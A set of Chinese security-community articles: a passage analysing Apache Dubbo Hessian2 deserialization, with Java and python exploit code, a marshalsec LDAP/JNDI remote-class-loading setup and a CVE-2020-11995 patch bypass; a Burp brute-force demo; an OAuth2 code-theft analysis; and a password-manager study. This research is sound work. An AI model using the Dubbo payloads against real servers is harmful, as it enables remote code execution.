// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(s);
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest
python -m http.server #挂载恶意类
poc对dubbo的端口，默认为20880进行发包
**漏洞分析**
断点打在 `org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter#decode`
该位置通过调用`Object msg = NettyCodecAdapter.this.codec.decode(channel,
message);`，从端口中接收序列化数据进行反序列化为一个Object对象。跟踪代码查看具体实现。
public Object decode(Channel channel, ChannelBuffer buffer) throws IOException {
int save = buffer.readerIndex();
MultiMessage result = MultiMessage.create();
while(true) {
Object obj = this.codec.decode(channel, buffer);
if (DecodeResult.NEED_MORE_INPUT == obj) {
buffer.readerIndex(save);
if (result.isEmpty()) {
return DecodeResult.NEED_MORE_INPUT;
} else {
return result.size() == 1 ? result.get(0) : result;
}
}
result.addMessage(obj);
this.logMessageLength(obj, buffer.readerIndex() - save);
save = buffer.readerIndex();
}
}
继续跟踪`this.codec.decode(channel, buffer);`位置
public Object decode(Channel channel, ChannelBuffer buffer) throws IOException {
int readable = buffer.readableBytes();
byte[] header = new byte[Math.min(readable, 16)];
buffer.readBytes(header);
return this.decode(channel, buffer, readable, header);
}
来到`org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode`
public Object decode(Channel channel, ChannelBuffer buffer) throws IOException {
int readable = buffer.readableBytes();
byte[] header = new byte[Math.min(readable, 16)];
buffer.readBytes(header);
return this.decode(channel, buffer, readable, header);
}
调用`buffer.readableBytes`返回表示 ByteBuf
当前可读取的字节数,这里为670,是接受过来的序列化数据包的长度，Math.min(readable,16)则取两值中最小的值。作为byte数组的长度，并且调用`buffer.readBytes`读取该大小，这里是16，读取16个长度。
传递到this.decode进行调用
protected Object decode(Channel channel, ChannelBuffer buffer, int readable, byte[] header) throws IOException {
int len;
int i;
if ((readable <= 0 || header[0] == MAGIC_HIGH) && (readable <= 1 || header[1] == MAGIC_LOW)) {
if (readable < 16) {
return DecodeResult.NEED_MORE_INPUT;
} else {
//获取数据的长度
len = Bytes.bytes2int(header, 12);
checkPayload(channel, (long)len);
i = len + 16;
if (readable < i) {
return DecodeResult.NEED_MORE_INPUT;
} else {
ChannelBufferInputStream is = new ChannelBufferInputStream(buffer, len);
Object var8;
try {
var8 = this.decodeBody(channel, is, header);
走到`var8 = this.decodeBody(channel, is, header);`跟进
一路执行来到下面这段代码中
`in = CodecSupport.deserialize(channel.getUrl(), is,
proto);`位置获取OutputSteam数据，跟踪查看
public static ObjectInput deserialize(URL url, InputStream is, byte proto) throws IOException {
Serialization s = getSerialization(url, proto);
return s.deserialize(url, is);
}
`getSerialization`位置跟进查看代码
`url.getParameter("serialization", "hessian2");`位置获取序列化的数据类型
返回到上一层方法走到`return s.deserialize(url, is);`位置
public ObjectInput deserialize(URL url, InputStream is) throws IOException {
return new Hessian2ObjectInput(is);
}
实际上这里不是真正意义上的反序列化操作，而是将`is`的数据转换成一个`Hessian2ObjectInput`对象的实例。
走到这一步执行回到`org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody`107行代码中
`data = this.decodeEventData(channel, in);`
至此到达Hession2的反序列化触发点。和前面调试的利用链对比 构造数据的时候多了一下代码
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
其余都是一致的。
### CVE-2020-11995
**漏洞简介**
Apache Dubbo默认反序列化协议Hessian2被曝存在代码执行漏洞，攻击者可利用漏洞构建一个恶意请求达到远程代码执行的目的
**漏洞版本**
Dubbo 2.7.0 ~ 2.7.8
Dubbo 2.6.0 ~ 2.6.8
Dubbo 所有 2.5.x 版本
if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {
if (!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())) {
throw new IllegalArgumentException("Service not found:" + path + ", " + this.getMethodName());
}
pts = ReflectUtils.desc2classArray(desc);
}
public static boolean isGenericCall(String path, String method) {
return "$invoke".equals(method) || "$invokeAsync".equals(method);
}
public static boolean isEcho(String path, String method) {
return "$echo".equals(method);
}
设置`method`等于`$invoke`或`$invokeAsync`、`$echo`即可绕过该补丁
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/Exploit",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
method_name='$invoke',
service_version='1.0.0',
args=[toStringBean])
**疑惑留存**
在前面的构造的Java代码的poc中，即spring
aop链或Rome链，能打2.7.8版本，并且没有走到`org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode`补丁处，而使用python该脚本时候则会走到补丁位置。
在请教了三梦师傅后，得知该补丁只是在`Xbean`利用链基础上进行了修复。导致其他利用链在2.7.8版本中依旧能使用。但从python代码中看着更像是Rome
Gadget的构造。而在实际测试当中，XBean的Gadget确实走入到了补丁的逻辑处。
在此几个疑惑留存留到后面的dubbo源码分析中去解读结果尚未解决的疑惑点。
### 参考
[Dubbo的反序列化安全问题-Hessian2](https://www.cnblogs.com/bitterz/p/15526206.html)
[dubbo源码浅析：默认反序列化利用之hessian2](https://www.anquanke.com/post/id/197658)
[Hessian 反序列化及相关利用链](https://paper.seebug.org/1131/)
## 0x05 结尾
天气冷了，注意保暖。共勉。 | 社区文章 |
## BURPSUIT
目前我们在渗透测试中，经常会用到密码爆破这个功能项，常用的密码爆破的工具之一是BURPSUIT
。遇到中文用户名的时候，很多同学不清楚需要转换字符编码的操作。下面我来演示下中文用户名的密码爆破，先贴2段测试用的代码。
<!-- login.html -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
</head>
<body>
<form action="login.php" method="post">
账号：<input name="uname"/><br />
密码：<input name="pwd"/><br />
<input type="submit"/>
</form>
</body>
</html>
<!-- login.php -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
</head>
<body>
<?php
/*接收用户输入*/
$uname = $_POST['uname'];
$pwd = $_POST['pwd'];
if($uname == "管理员" && $pwd == "123456"){
echo '登录成功';
}
else{
echo '账号或密码错误';
}
?>
</body>
</html>
## 登录页面
## 抓包并发送到intruder模块
## 选择Pitchfork
## 新建一个html文件
## 用文本编辑器打开，写入”管理员”三个字
## 转换字符
## 转换后的“管理员”字符
## 将转换过的字符复制进列表
## 匹配成功！ | 社区文章 |
# 我对OAuth协议安全性的一点思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期安全圈内爆出“OAuth2.0协议存在安全缺陷”，可以造成用第三方帐号快捷登录授权劫持，据说可以利用此漏洞横扫全国各大主流网站。在刚看到漏洞利用详情时我也对这个漏洞表示肯定，但这么有名的OAuth2.0协议，几乎全世界的知名网站都在使用，它真的会出这么严重的安全问题吗？调皮的我决定仔细研究一波。
## 协议详解
说起OAuth2.0协议一些小白可能会感觉到很陌生，这个协议到底是用来做什么的？看一下QQ开放平台上的官方解释： OAuth（Open
Authorization,开放授权）是一个开放标准，允许用户授权第三方网站访问他们存储在另外的服务提供者上的信息，而不需要将用户名和密码提供给第三方网站或分享他们数据的所有内容。举一个最常见的例子，就是我们在使用第三方业务时使用的“QQ号登录”，我们无需在第三方网站注册账号，可以直接使用QQ登录，登录过程中第三方无法获得我们QQ登录凭证，授权登录成功后第三方可以访问我们QQ的有关信息。
要研究OAuth2.0协议的安全问题，当然要对这个协议的工作原理有详细的理解，OAuth2.0协议正式发布为RFC
6749，我们来看一下官方对这个协议的解释。
**RFC 6749 :<https://tools.ietf.org/html/rfc6749>**
这是整个协议授权的简化工作流程图：
Client：用户
Resource Owner：资源所有者
Resource Server：储存受保护资源的服务器
Authorization Server：授权服务器
整个过程分为 A~F 六个步骤：
A：Client向Resource Owner发出认证请求。
B：Resource Owner对Client的请求给予授权，并给Client颁发一个授权令 牌Authorization Code。
C：Client携带Authorization Code对Authorization Server发起授权请求。
D：Authorization Server对Client的请求给予授权，并给Client颁发一个授权令牌Access Token。
E：Client携带Access Token向Resource Server请求用户信息资源。
F：Resource Server验证Access Token合法后将用户信息资源发回给Client。
到这一步我们对这个协议的工作流程有了大致的了解，但在生成环境下它又是怎么工作的呢？为此我详细研究了QQ开放平台的接入流程，并将其抽象为5个步骤。
具体实现：
我们以QQ登录OAuth2.0为例来具体了解一下QQ对这个协议的具体实现过程。
第1步：开发者在QQ开放平台申请接入并成功获取到appid和appkey。
第2步：构造QQ登录按钮的超链接如下：
其中client_id参数为开发者在第一步中申请到的appid， redirect_uri为授权成功后的回调地址，在QQ登录成功后会跳转到
这个参数指定的URL，并在URL尾部追加Authorization Code，例如 回调地址是：www.qq.com/my.php，则会跳转到：
scope参数为授权应用的权限列表
第3步：通过Authorization Code获取Access Token，服务器端构造如下 请求即可获取Access Token：
参数解释如下：
grant_type | 授权类型，此值固定为“authorization_code”。
---|---
client_id | 申请QQ登录成功后，分配给网站的appid。
client_secret | 申请QQ登录成功后，分配给网站的appkey。
code | 上一步返回的authorization code。
redirect_uri | 与上面一步中传入的redirect_uri保持一致。
第4步：使用Access Token来获取用户的OpenID
构造如下请求即可返回用户的OpenID：
第5步：使用Access Token以及OpenID来访问用户数据
构造如下请求即可访问用户数据：
其中的参数与前面介绍的相对应
具体的授权过程可以参考这张流程图：
理解了OAuth2.0协议的实际实现过程之后我们就可以对攻击模型进行深入的分析了。
## 攻击模型分析
### 模型一：
攻击过程：在上述实现的第二步中将redirect_uri修改为攻击者控制站点，用户在授权登录后将携带authorization
code跳转到攻击者控制站点，攻击者从URL参数中即可获得authorization code并实现用户劫持。
其实腾讯在实现第三方登录接入的时候早就考虑过这种老套的攻击方式，于是，开发者在集成QQ登录时必须在QQ开放平台上填写网站的回调地址，在进行登录验证的时候如果redirect_uri中的值与设置好的回调地址不同则会拒绝访问：
这样就防止了攻击者篡改redirect_uri为恶意站点的钓鱼攻击。
但是现在又提出了一种看似合理的绕过方法：
利用合法网站的URL重定向漏洞绕过redirect_uri中的域名白名单限制
假设我有一个合法的网站whitehat.com，攻击者控制一个恶意站点hacker.com
攻击者可以构造这样一个链接来绕过redirect_uri中的域名白名单限制：
http://whitehat.com/index.php?Redirect=http%3a%2f%2fhacker.com%2findex.php
其中Redirect参数指定的为重定向地址
这样的话，把这个URL地址传给redirect_uri即可构造一个恶意链接，实现用户授权QQ登录后跳转到hacker.com
但是用户的授权令牌authorization code真的会被传送到hacker.com吗？
我们把上述URL传给redirect_uri，跳转到的URL地址如下：
[http://whitehat.com/index.php?Redirect=http%3a%2f%2fhacker.com%2f](http://whitehat.com/index.php?Redirect=hacker.com)index.php?code=****
细心的人已经发现了，这个链接还是跳转到http://hacker.com/index.php而不是http://hacker.com/index.php?code=****
这是因为code参数前面的&符号没有URL编码，因此code参数被whitehat.com处理而不是属于Redirect参数的一部分。
因此，第一种攻击模型只能用来构造登录后的钓鱼攻击，通常情况下authorization code不会被传送到攻击者控制的站点中。
### 攻击模型二
将第二步实现的redirect_uri改为可以引入外链的合法URL地址，这样当合法用户登录后加载此页面的外链时，攻击者就可以从其控制的服务器中在referer消息头中获得泄露的authorization
code。据说这种攻击方法横扫国内各大站点，但是我在深入研究的时候发现，这个攻击方法在此RFC文档的Security
Considerations中已经提到过：
同时也给出了相应的安全建议：
即authorization code在获取后必须在短时间内失效而且只能被使用一次。这种方法在理论上确实可以有效的阻止上述的攻击方式，情景分析如下：
攻击者构造恶意链接发送给用户，其中redirect_uri=http://bbs.test.com/index.php
用户点击链接登录后，回调地址为：
<http://bbs.test.com/index.php?Code=****>
用户携带code向服务器发送请求加载此页面
加载的页面中含有攻击者放置的外链（例如头像中的图片链接等）
用户加载外链中的图片，攻击者从referer消息头中获得用户的code
由此可以看出如果authorization
code使用一次就失效的话，那么在用户加载页面时就应该失效了，攻击者获得的一定是一个失效的authorization
code！这样看来这种攻击方式应该是无效的，但它究竟为什么能扫国内各大站点呢？是因为腾讯实现的OAuth2.0协议没有把authorization
code设置成一次有效吗？
但经过多次试验发现QQ登录OAuth2.0中authorization code确实是一次有效。
百思不得其解，不得问某师傅要了一个国内某知名站点OAuth2.0登录劫持的漏洞详情来研究，在仔细研究后终于明白了其中的道理：
我在漏洞利用详情中发现跳转目标的文件名后缀都是.hmtl或者.shtml，而且在页面上都显示未登录，这就表示跳转后的目标地址虽然被追加了authorization
code参数但并没有进行登录操作，即在后端并没有用authorization code去获取Access
Token，因此从这些页面泄露出去的authorization code都是有效的！攻击者只要获得这些authorization
code就可以登录受害者的账户！
## 修复建议
之前听说有的厂商的修复方法是禁止页面包含外链，很明显这个方法不能从根本上解决问题，而且有可能影响用户体验。正确的修复方案应该是:当用户进行登录时，将当前的URL设置为一条cookie或者通过AJAX发送到服务器存储到session中，当用户登录成功后跳转到一个固定的回调地址（唯一且不可更改），在这个回调地址中进行登录操作（使authorization
code失效），然后再从cookie或者session中取出登录前的URL进行跳转，这样攻击者就无法获取到用户的authorization
code，即使有authorization code泄露也都是已经失效的了！
## 总结
不要听信网络上的言论，第二种攻击模型确实使得国内大部分厂商躺枪，但是OAuth2.0协议没有漏洞，腾讯对OAuth2.0协议的实现安全性也很高，所有的安全问题都出现在使用这些功能的第三方中！ | 社区文章 |
# 基于浏览器的密码管理器安全性评估
##### 译文声明
本文是翻译文章，文章原作者 Sean Oesch，Scott Ruoti，文章来源：usenix.org
原文地址：<https://www.usenix.org/conference/usenixsecurity20/presentation/oesch>
译文仅供参考，具体内容表达以及含义原文为准。
密码管理器可以帮助用户更有效地管理其密码，并解决围绕基于密码的身份验证的许多问题。先前的研究已经发现了现有密码管理器中的重大漏洞，特别是在基于浏览器的密码管理器中，本文评估了十三种流行的密码管理器，并考虑了密码管理器生命周期的所有三个阶段（密码生成，存储和自动填充）。本文的评估是对密码管理器中密码生成的首次分析，它发现了几种非随机字符分布，并确定了所生成的密码容易受到在线和离线猜测攻击的实例。对于密码存储和自动填充，密码管理器在过去的十年中有所改进，但仍然存在很多问题。这些问题包括未加密的元数据，不安全的默认值以及点击劫持攻击的漏洞。根据结果确定了需要避免使用的密码管理器，并提供有关如何改进现有密码管理器的建议。
## 0x01 Abstract
尽管基于密码的身份验证面临着公认的问题，但它仍然是Web上使用的主要身份验证形式。由于攻击者难以猜出的密码也很难被用户记住，因此用户通常会创建较弱的密码以避免回想它们的认知负担。实际上，随着用户需要存储的密码数量的增加，他们经常在网站之间重复使用密码。
密码管理器可以帮助用户更有效地管理其密码。它们通过生成强密码，存储这些密码，然后在访问站点时填写适当的密码来减轻用户的认知负担。用户现在可以遵循有关密码的最新安全建议，而不会给自己造成很大的认知负担。但是密码管理器并非不受攻击。
之前在LastPass和RoboForm等主要密码管理器中发现了重大漏洞，由于基于浏览器的密码管理器的密码自动填充功能，容易遭受跨站点脚本攻击（XSS）和网络注入攻击。
部分研究已经过去了五年或五年以上，因此尚不清楚密码管理器是否仍然易受攻击，或者现在是否准备好被广泛采用。为了回答这个问题，本研究更新并扩展了以前的结果，并提供了对十三种流行密码管理器的全面，最新的安全性评估，包括五个浏览器插件和六个直接集成到浏览器中的密码管理器。
在评估中，考虑了完整的密码管理器生命周期-密码生成，存储和自动填充。对于密码生成，评估了由研究过的密码管理器生成的1.47亿个密码的语料库，以确定它们是否表现出攻击者可以利用的任何非随机性。结果发现了生成密码的几个问题，最严重的是，一小部分较短的生成密码难以抵抗在线和离线攻击（分别少于10个字符和18个字符）。
结果发现，尽管密码管理器在过去五年中得到了改进，但仍然存在重大的安全隐患。在本文的结尾提出了一些建议，包括如何改进现有的密码管理器以及确定将来可以显着提高密码管理器的安全性和可用性的未来工作。
## 0x02 Password Managers
从最基本的意义上讲，密码管理器是一种存储用户凭据（即用户名和密码）的工具，可减轻与用户记住许多唯一登录凭据有关的认知负担。这种密码存储库通常称为密码库。理想情况下，保管库本身以加密形式存储，其中加密密钥最常见地是从用户选择的密码（称为主密码）派生的。密码库可以在线存储，从而使其可以在多个设备之间同步。
除了存储用户选择的密码外，大多数现代密码管理器还可以帮助用户生成密码。密码生成将所需密码的长度，所需字符集以及密码应显示的任何特殊属性作为输入（例如，至少一位数字和一个符号，不难识别的字符）。密码生成器输出符合输入标准的随机生成的密码。
许多密码管理器还可以通过自动选择并填写（即自动填写）适当的用户名和密码来帮助用户对网站进行身份验证。如果用户在网站上拥有多个帐户，则密码管理器将允许用户选择他们希望用于自动填充的帐户。如果正确实施和使用，密码管理器将为用户带来许多明显的好处：
1.它减轻了记住用户名和密码的认知负担。
2.为每个网站分配不同的密码很容易，解决了密码重用的问题。
3.易于生成可抵抗在线和离线猜测攻击的密码。
## 0x03 Analysis
在本文中分析了13种不同的密码管理器，可以根据它们与浏览器的集成程度将其分类：应用程序，扩展程序和浏览器。本文专注于浏览器中的密码管理器，但包括两个桌面客户端进行比较，应用程序是未与浏览器集成的桌面客户端。基于扩展的密码管理器被部署为浏览器插件，并且不依赖于桌面应用程序。基于浏览器的密码管理器是作为浏览器一部分实现的本机组件。
上表给出了分析后的密码管理器按这些类别细分的情况。该表还报告了与实用程序和可用性相关的功能-支持密码生成和自动填充，支持使用云同步扩展设置和密码库，使用密码的功能。命令行界面的密码管理器以及安全性-该工具是否支持多因素身份验证（MFA），是否可以锁定密码库，是否必须在其自己的选项卡或应用程序上输入该库的主密码（为防止此对话框的欺骗），密码管理器是否提供了一种工具来评估存储的帐户和密码的安全性，密码复制后管理器是否从剪贴板中清除了密码以及该工具是否开放源代码。
### 1）基于应用
分析了基于应用程序的密码管理器，倾向于手动同步以提高安全性。
KeePassX（v2.0.3）：KeePass是基于应用程序的密码管理器，最初是使用.NET平台构建的，并且旨在在Windows上使用。
KeePassX是KeePass的跨平台端口，用QTframework替代了.NET平台。
KeePassXC（v2.3.4）：KeePassXC是KeePassXintended的一个分支，旨在提供更频繁的更新和KeePass或KeePassX中找不到的其他功能（例如，用于密码生成的更多选项，命令行界面）。KeePassXC还提供了一个与应用程序接口的浏览器扩展程序，以在浏览器中自动填充密码。总体而言，KeePass系列应用程序估计有2000万用户。
### 2）基于插件
扩展程序缺少清除剪贴板的权限，基于扩展程序的密码管理器的sonone支持此功能，从而使用户密码容易受到无限期访问剪贴板的任何应用程序的攻击。分析的所有扩展都不支持该扩展本身的同步设置，要求用户记住正确更新这些设置以匹配其设置的每个新设备的安全性首选项。这些扩展设置包括对安全至关重要的选项，例如是否在关闭浏览器时注销，是否使用自动填充以及是否在填写不安全的表单之前发出警告。每个基于扩展的密码管理器的用户体验基本相似。
1Password
X（v1.14.1）：1Password估计有1500万用户，1Password提供基于应用程序的客户端（1Password）和基于扩展的客户端（1Password
X）；在本文中评估了基于扩展的客户端，因为如果需要与浏览器集成（推荐大多数用户都希望这样做），它是推荐的工具。虽然两个系统的安全性相似，但还是有一些小的区别—例如，从应用程序中的剪贴板中清除了密码，但未从扩展中清除。
要最初从云下载密码库，必须输入在用户生成帐户时提供给用户的128位密钥，从而为基于云的密码库提供了额外的安全性。
Bitwarden（v1.38.0）：在分析的基于扩展的密码管理器中，Bitwarden是独一无二的，因为它的所有功能都可用于非付费帐户，而其他密码管理器则需要订阅才能访问某些功能。
Dashlane（v6.1908.3）：
Dashlane估计有1000万用户。除了存储每个网站的用户名和密码外，Dashlane还在每个站点上跟踪和同步以下三个设置：“always log me
in”，“always require [the master password]”，和 “Use [password] for this
subdomain only.” 与不同步任何扩展设置的其他基于扩展的密码管理器相比，此功能提供了一点优势。
LastPass（v4.24.0）：LastPass估计有1650万用户，是所有商业密码管理器中最多的。
RoboForm（v8.5.6.6）：
RoboForm估计有600万用户。像1Password一样，RoboForm同时提供基于应用程序的客户端和基于扩展的客户端。在本文中，出于与使用1Password
X采取此方法相同的原因，评估了基于扩展的客户端。
### 3）基于浏览器
与基于应用程序的密码管理器和基于扩展的密码管理器相比，基于浏览器的密码管理器缺少许多功能。虽然所有基于浏览器的密码管理器都允许使用多因素身份验证来保护存储密码库的云帐户，但除了Firefox之外，其他任何人都可以锁定该库，而无需从浏览器中删除该帐户。
Firefox提供了使用主密码来限制对密码库的访问的选项。由于这些密码管理器没有同步设置，也永远不会将密码复制到剪贴板，因此这些功能不适用。
Chrome（v71.0）：Chrome支持生成密码。它检测用户何时可能需要密码，并提供要为该用户生成密码的信息。与其他任何密码管理器不同，Chrome具有基本功能来尝试检测密码策略。
Edge（v42.17134）、Firefox（v64.0）、 Internet
Explorer（v11.523）、Opera（v58.0.3135）：这些密码管理器在高级功能上都相似。
Safari（v12.0）：Safari与iCloud钥匙串集成时可以生成密码，尽管这些密码始终为“ xxx-xxx-xxx-xxx”形式。
### 4）密码管理器更新
自从进行研究以来，几个密码管理器进行了一些较小的更改：（1）KeePassXC已过渡到使用Argon2D作为其默认密钥派生功能，（2）LastPass更新了其密码生成界面，删除了选择，（3）RoboForm更新了他们的密码生成界面，删除了选择数字位数的选项，并将默认密码长度增加到16。本研究也意识到了即将出现的一些重要变化：Firefox将过渡到使用Firefox
Lockbox作为其默认密码管理器，andEdge将过渡到在Chromium项目之上构建。
## 0x04 Password Generation
密码生成是密码管理器生命周期中的第一步。在评估的13个密码管理器中，有七个完全支持密码生成（KeePassX，KeePassXC，1Password
X，Bitwarden，Dashlane，LastPass和Roboform），另外两个则部分支持Chrome和Safari。为了提供比较密码管理器的基准们编写了一个python脚本，该脚本使用/dev/random和在线SecurePassword
Generator（SPG）生成密码，这是在Google上搜索“密码生成器”时的第一个搜索结果。
### 1）设置和功能
上表总结了每个测试工具的配置选项，默认设置和功能。尽管可以在KeePassX，KeePassXC和LastPass中将其关闭，但所有密码管理器都支持确保每个选定字符集中至少包含一个字符。除基于浏览器的密码管理器外，所有密码管理器还具有避免生成包含用户难以阅读和/或记忆的字符（例如，难以发音，看起来与另一个字符相似）的密码的选项。删除的字符在密码管理器之间不一致。
虽然所有密码管理器都支持相同的字母和数字集（[A-Za-z0-9]），但是它们各自具有不同的符号集。KeePassXC具有最大的符号集，支持所有标准ASCII符号（空格除外）并支持扩展的ASCII符号集。
KeePassX和Dashlane还支持标准ASCII符号（空格除外），但不支持扩展的ASCII符号集。
1Password支持刚好超过一半的ASCII符号（19个符号），而其他系统则支持8个或更少的符号。不出所料，限制符号集对生成密码的强度有很大影响，本文稍后将讨论其含义。
在大多数密码管理器中，常见的一个问题是它们将上次使用的设置保存为新的默认设置。虽然这似乎是针对可用性的功能，但它可能会导致用户在生成密码时使用的设置少于最佳设置。通常，用户更改密码生成设置有两个原因：（1）建立安全的默认设置，（2）生成符合弱于默认设置的策略的密码。
在后一种情况下，较新的，较弱的设置将替换较旧的，较强的设置作为新的默认设置。尽管用户可以手动恢复其更安全的设置，但不能保证他们会这样做。
Dashlane采取了一种最佳方法，即不自动保存最新设置，而是为用户提供覆盖当前默认设置的选项。
KeePassX采用了一种中间方法，将新设置保存为以后生成的密码，直到应用程序关闭并再次打开。
### 2）密码收集与分析
为了评估由密码管理器生成的密码的质量，首先从每个密码管理器收集了大量生成的密码。使用多种方法来生成密码：现有的命令行界面（Bitwarden，本文的python工具），修改源代码以添加命令行界面（Chrome，KeePassX，KeyyPassXC）或使用Selenium（1Password
X，Dashlane，LastPass）
，RoboForm）。无法分析Safari的密码，因为它没有任何脚本来生成密码脚本，尽管确实手动生成并分析了100个密码以检查是否有明显的问题并且没有检测到任何问题。
生成由字符类（字母（l），字母和数字（ld），字母和符号（ls），符号和数字（sd））以及所有四个类（全部）和密码长度（8、12，和20个字符长-为了确定这些选项是否对生成的密码的随机性有影响。默认情况下，大多数工具都要求生成的密码在每个字符集中都包含一个字符，只有Chrome，KeePassX，KeePassXC和本研究的python工具未启用此选项。对于每个密码管理器，字符类和密码长度，生成了100万个密码，但1Password
X除外，后者不允许生成仅包含符号和数字的密码。这产生了1.47亿个密码的语料库（10×5×3—3）。
收集此数据集后，分析了其随机性和可猜测性的质量项。没有已知的方法可以证明伪随机生成器与随机生成是无法区分的，因此采用了多种分析技术，每种技术都试图找到非随机行为的证据：Shannon熵，χ2随机性检验，zxcbvn密码分析工具，以及基于递归神经网络的密码猜测器。
Shannon熵用于检查每个产生的字符（不是密码）的频率是否异常。集合的Shannon熵是对根据符号出现频率对一串符号进行编码所需的平均最小位数的度量。计算为∑i
pi
logb（pi）。虽然Shannon熵是衡量用户选择密码的一种不好方法，但它对于评估随机密码的相对强度很有用。Shannon熵不受密码长度的影响，仅受密码中可以出现的不同字符数的影响。字符串及其在语料库中的相对频率。
随机性的χ2检验是一种简单的统计检验，用于确定两个分布之间的差异是否可以通过随机机会来解释。使用χ2检验来独立评估每个密码集，并使用Bonferonni
correction修正了p值，以说明同一家族的多项统计检验。
zxcbvn工具用于检测可能存在于密码中的字典单词和简单模式，这两种都是非随机性的潜在示例。
zxcbvn还估计了密码破解者破解密码所需的猜测次数，使用它来了解密码是否可以抵抗在线和离线猜测。
为了检测生成的密码是否比zxcvbn可以检测到的密码更微妙，使用了构建的神经网络密码猜测器。该猜测器使用长短期记忆（LSTM）递归神经网络（RNN）架构，根据训练集构建密码猜测器。作为输出，它将产生经过蒙特卡洛估计的经过训练的密码猜测器猜测测试集中的密码所花费的时间。对于每个密码语料库，使用80％的密码来训练神经网络，并针对20％的密码进行了测试。由于猜测器的问题，只能测试长度为8和12的密码，因为无论使用什么设置，长度为20的密码都会因内存不足异常而崩溃。
尽管zxbcvn和递归神经网络都用于评估生成的密码中的随机性质量，但它们也可以用来估算在线或离线猜测攻击尝试使用该密码所需的猜测次数。需要超过10^6个猜测的密码被认为具有抵御在线攻击的能力，并且需要超过10^14个猜测的密码被认为具有抗离线猜测的能力。使用此猜测计数，能够分析密码管理器是否正在生成容易受到这些攻击的密码。
### 3）结果
密码强度：对生成的密码的分析发现，几乎所有长度为12及更长的密码都足够强大，可以抵御在线和离线猜测攻击（见上图c和上图d）。尽管如此，并不是所有的密码管理者都可以创建强度相同的密码，这些微小的扰动会对长度8的密码百分比产生重大影响，这些百分比可以安全地防止离线猜测攻击（几乎所有人都可以防止在线猜测攻击）（见上图a和上图b）。这些强度上的差异在很大程度上可以由每个密码管理器使用的字符集类的不同组成来解释。尽管在考虑符号时差异最为明显，但多个密码管理器还限制了可用的字母和数字（例如，由于相似性而删除了“
0”和“ O”）。查看字符频率，还发现Dashlane使用一组不同的字母，具体取决于密码的长度。目前尚不清楚Dashlane为何表现出这种行为。
随机性：χ2测试在生成的密码中发现了一些非随机行为的实例（上表）。除一个非随机字符频率分布外，所有特征都可以用一个功能来解释-要求密码每个字符集中至少有一个字符。如果未启用此功能，则任何给定字符将出现在密码中的可能性与密码的长度以及所有启用的字符集中的字符数成正比（参见公式1）。启用此功能后，概率也与该字符集中的字符数成正比（参见公式2），从而导致来自较小字符集（例如，数字，符号）的字符的字符频率更高，这说明了通过χ2检验检测均匀性。注意到，有可能对此偏斜进行调整并保持均匀分布，尽管不进行校正不会产生明显的安全影响。
尽管Bitwarden（sd）和Dashlane（l）的结果最初似乎并不遵循这种模式，但实际上它们确实遵循这种模式。
Bitwarden（sd）具有相等数量的符号和数字（见下表），使它们以相同的频率被选择。相反，Dashlane（l）具有非随机分布，因为它使用不同数量的大写和小写字母。
RoboForm（l）是唯一不能由此功能至少部分解释的非随机结果，它具有相等数量的大写和小写字符。查看RoboForm的所有字符频率，发现选择的大写字母（“
Z”除外）比小写字母更频繁。此外，字符“ Z”，“ z”，“
9”始终是最不常用的字符。虽然尚不清楚是什么原因导致了此问题，但假设这可能与使用模块化算术（例如rand（）％（maxxmin）+
min）选择字符有关，这可能会对较低值的结果产生轻微的偏差。
随机但较弱的密码：在对zxcbvn结果的分析中，发现偶尔所有密码管理器都会生成异常弱的密码，示例如下表所示。虽然这是真正随机生成器的预期行为，但仍然导致密码不佳。
即使随机生成的长度为8个字符的密码具有抵抗脱机攻击的潜力（例如log10（968/2）=
